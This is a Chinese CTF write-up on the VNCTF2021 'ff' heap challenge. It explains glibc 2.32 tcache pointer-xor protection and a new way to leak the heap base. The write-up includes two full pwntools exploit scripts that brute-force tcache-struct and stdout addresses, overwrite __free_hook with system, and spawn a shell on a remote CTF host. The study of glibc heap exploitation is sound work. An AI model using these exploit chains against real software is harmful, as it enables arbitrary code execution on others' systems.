从 VNCTF2021-ff 浅析 libc2.32 下 ptmalloc 新增的防护之指针异或加密

 

前情提要

最近把VNCTF2021的题简单地看了看

其中有一道叫做 ff 的题,大概是提供了分配、释放、编辑、打印堆块的功能,不过限制了只能打印一次、编辑两次,同时还限制了不能分配 0x80 以上的堆块

题目给出的libc版本为2.32,笔者原以为和libc2.31应当没有太大区别,故最初想的解法便是 1/16 的几率爆破到tcache struct,exp如下:


from pwn import*
#context.log_level = 'debug'
global p
libc = ELF('./libc.so.6')#ELF('/lib/x86_64-linux-gnu/libc.so.6')

hit = [b'\x00', b'\x10', b'\x20', b'\x30', b'\x40', b'\x50', b'\x60', b'\x70', b'\x80', b'\x90', b'\xa0', b'\xb0', b'\xc0', b'\xd0', b'\xe0', b'\xf0']

def cmd(command:int):
    p.recvuntil(b">>")
    p.sendline(str(command).encode())

def new(size:int, content):
    cmd(1)
    p.recvuntil(b"Size:")
    p.sendline(str(size).encode())
    p.recvuntil(b"Content:")
    p.send(content)

def free():
    cmd(2)

def show():
    cmd(3)

def edit(content):
    cmd(5)
    p.recvuntil(b"Content:")
    p.send(content)

def exp(hit_byte):
    new(0x80, b'arttnba3')
    free()
    edit(b'arttnba3' * 2)
    free()

    edit(b'\x10' + hit_byte)
    new(0x80, b'arttnba3')
    new(0x80, b'\x00\x00' * (0xe + 0x10 + 9) + b'\x07\x00')
    free()
    show()
    main_arena = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - 96
    __malloc_hook = main_arena - 0x10
    libc_base = __malloc_hook - libc.sym['__malloc_hook']
    log.success("[+] libc_base: " + hex(libc_base))
    new(0x40, (b'\x01\x00' * 2).ljust(0x40, b'\x00'))
    new(0x40, (b'\x01\x00' * 2).ljust(0x30, b'\x00') + p64(libc_base + libc.sym['__free_hook']) + p64(libc_base + libc.sym['__free_hook'] + 0x10))
    new(0x10, p64(libc_base + libc.sym['system']))
    new(0x20, b'/bin/sh\x00')
    free()
    p.interactive()

if __name__ == '__main__':
    count = 1
    i = 0
    while True:
        try:
            print('the no.' + str(count) + 'try')
            print(b'try: ' + hit[i])
            p = remote('node3.buuoj.cn', 26454)#process('./ff')#
            exp(hit[i])
        except Exception as e:
            p.close()
            i = i + 1
            count = count + 1
            i = i % 16
            continue

1/16 的几率,本地很快就通了,但是打远程一直爆破不出来,出现了两种报错信息:

  • malloc(): unaligned tcache chunk detected
  • free(): invalid pointer

出现这两种报错信息的原因都是 堆块指针未对齐 ,笔者百思不得其解,只好将libc2.32的源码下载下来看看…

 

glibc 2.31下的 tcache_put 与 tcache_get

我们先来看看在 glibc 2.31 中是如何操作 tcache 中的堆块的:

/* Caller must ensure that we know tc_idx is valid and there's room
   for more chunks.  */
static __always_inline void
tcache_put (mchunkptr chunk, size_t tc_idx)
{
  tcache_entry *e = (tcache_entry *) chunk2mem (chunk);

  /* Mark this chunk as "in the tcache" so the test in _int_free will
     detect a double free.  */
  e->key = tcache;

  e->next = tcache->entries[tc_idx];
  tcache->entries[tc_idx] = e;
  ++(tcache->counts[tc_idx]);
}

/* Caller must ensure that we know tc_idx is valid and there's
   available chunks to remove.  */
static __always_inline void *
tcache_get (size_t tc_idx)
{
  tcache_entry *e = tcache->entries[tc_idx];
  tcache->entries[tc_idx] = e->next;
  --(tcache->counts[tc_idx]);
  e->key = NULL;
  return (void *) e;
}

glibc2.31 下,堆管理器在 取/放 chunk时不会检测 tcache 中的堆块地址的合法性,也没有任何的诸如 加密/解密 等一系列的防护手段,完全就是一个裸的单向链表结构,利用起来易如反掌,只需要一个诸如 UAF 之类的漏洞就可以直接进行任意地址写

 

glibc 2.32下的 tcache_put 与 tcache_get

但是在 glibc 2.32 中引入了一个简单的异或加密机制:

/* Caller must ensure that we know tc_idx is valid and there's room
   for more chunks.  */
static __always_inline void
tcache_put (mchunkptr chunk, size_t tc_idx)
{
  tcache_entry *e = (tcache_entry *) chunk2mem (chunk);

  /* Mark this chunk as "in the tcache" so the test in _int_free will
     detect a double free.  */
  e->key = tcache;

  e->next = PROTECT_PTR (&e->next, tcache->entries[tc_idx]);
  tcache->entries[tc_idx] = e;
  ++(tcache->counts[tc_idx]);
}

/* Caller must ensure that we know tc_idx is valid and there's
   available chunks to remove.  */
static __always_inline void *
tcache_get (size_t tc_idx)
{
  tcache_entry *e = tcache->entries[tc_idx];
  if (__glibc_unlikely (!aligned_OK (e)))
    malloc_printerr ("malloc(): unaligned tcache chunk detected");
  tcache->entries[tc_idx] = REVEAL_PTR (e->next);
  --(tcache->counts[tc_idx]);
  e->key = NULL;
  return (void *) e;
}

一、新增了在从 tcache 中取出 chunk 时会检测 chunk 地址是否对齐的保护

二、引入了两个新的宏对 tcache 中存/取 chunk 的操作进行了一层保护,即在 new chunk 链接 tcache 中 old chunk 时会进行一次异或运算,代码如下:

#define PROTECT_PTR(pos, ptr) \
  ((__typeof (ptr)) ((((size_t) pos) >> 12) ^ ((size_t) ptr)))
#define REVEAL_PTR(ptr)  PROTECT_PTR (&ptr, ptr)

tcache_entry->next中存放的chunk地址为与自身地址进行异或运算后所得到的值, 这就要求我们在利用 tcache_entry 进行任意地址写之前 需要我们提前泄漏出相应 chunk 的地址,即我们需要提前获得堆基址后才能进行任意地址写,这给传统的利用方式无疑是增加了不少的难度

不过若是我们能够直接控制 tcache struct,则仍然可以直接进行任意地址写,这是因为在 tcache struct 中存放的仍是未经异或运算的原始 chunk 地址

 

glibc2.32下堆基址的新泄露方式

虽然这种简单的异或加密方式给 tcache 提高了不少的安全系数,但是同样也提供给我们新的泄露堆基址的途径

我们不难观察到,在 tcache 的一个 entry 中放入第一个 chunk 时,其同样会对该 entry 中的 “chunk” (NULL)进行异或运算后写入到将放入 tcache 中的 chunk 的 fd 字段,若是我们能够打印该 free chunk 的fd字段,便能够直接获得未经异或运算的堆上相关地址

 

back to VNCTF2021.ff

重新回到开头的这道题目,由于新机制的存在,若是我们想要通过 double free 进行任意地址写,则不仅需要清除 key 位,还需要获得堆基址,不过正如前面所讲到的,堆基址的泄露比以前更简单了些

但是本题只允许打印一次、编辑两次,后续的操作我们无疑还是需要泄露libc基址的,而打印的次数在泄露堆基址时已经用掉了

考虑到当我们将 tcache struct 送入 unsorted bin 中之后,其上会残留 main_arena + 0x60 的指针,而这个指针和 stdout 离得很近

那么我们同样可以以 1/16 的几率爆破到 stdout 后修改 _IO_write_base 的低字节为 \x00 后便有一定几率泄露出 libc 基址,具体的实现细节网上都有,就不在这里赘叙了

最终的exp如下:


from pwn import*
context.log_level = 'debug'
global p
libc = ELF('./libc.so.6')#ELF('/lib/x86_64-linux-gnu/libc.so.6')#

def cmd(command:int):
    p.recvuntil(b">>")
    p.sendline(str(command).encode())

def new(size:int, content):
    cmd(1)
    p.recvuntil(b"Size:")
    p.sendline(str(size).encode())
    p.recvuntil(b"Content:")
    p.send(content)

def free():
    cmd(2)

def show():
    cmd(3)

def edit(content):
    cmd(5)
    p.recvuntil(b"Content:")
    p.send(content)

def exp(hit_byte):
    new(0x80, b'arttnba3')
    free()
    show()

    heap_leak = u64(p.recv(6).ljust(8, b'\x00'))
    heap_base = heap_leak * 0x1000
    log.success('heap base: ' + hex(heap_base))

    edit(b'arttnba3arttnba4')
    free()
    edit(p64(heap_leak ^ (heap_base + 0x10)))
    new(0x80, b'arttnba3')
    new(0x80, b'\x00\x00' * (0xe + 0x10 + 9) + b'\x07\x00')
    free()

    new(0x40, (b'\x00\x00' * 3 + b'\x01\x00' + b'\x00\x00' * 2 + b'\x01\x00').ljust(0x70, b'\x00')) # unknown reason, bigger than 0x48 will failed.
    new(0x30, b'\x00'.ljust(0x30, b'\x00'))
    new(0x10, p64(0) + b'\xc0' + p8(hit_byte * 0x10 + 6)) # 1/16 to hit stdout
    new(0x40, p64(0xfbad1800) + p64(0) * 3 + b'\x00')

    libc_base = u64(p.recvuntil(b'\x7F')[-6:].ljust(8,b'\x00')) - 0x1e4744
    new(0x10, p64(libc_base + libc.sym['__free_hook']))
    new(0x70, p64(libc_base + libc.sym['system']))
    new(0x10, b'/bin/sh\x00')
    free()
    p.interactive()

if __name__ == '__main__':
    count = 1
    i = 0
    while True:
        try:
            print('the no.' + str(count) + ' try')
            print(b'try: ' + b'\xc0' + p8(i * 0x10 + 6))
            p = remote('node3.buuoj.cn', 26018)#process('./ff') #
            exp(i)
        except Exception as e:
            print(e)
            p.close()
            i = i + 1
            count = count + 1
            i = i % 16
            continue

运行即可get shell

爆破是真的很看脸…有的时候爆上百次都出不来…

 

what’s more?

fastbin 中似乎也引入了这个机制,但是在普通的 bins 数组中似乎并未引入这个机制…?(研究ing

待补充…

(完)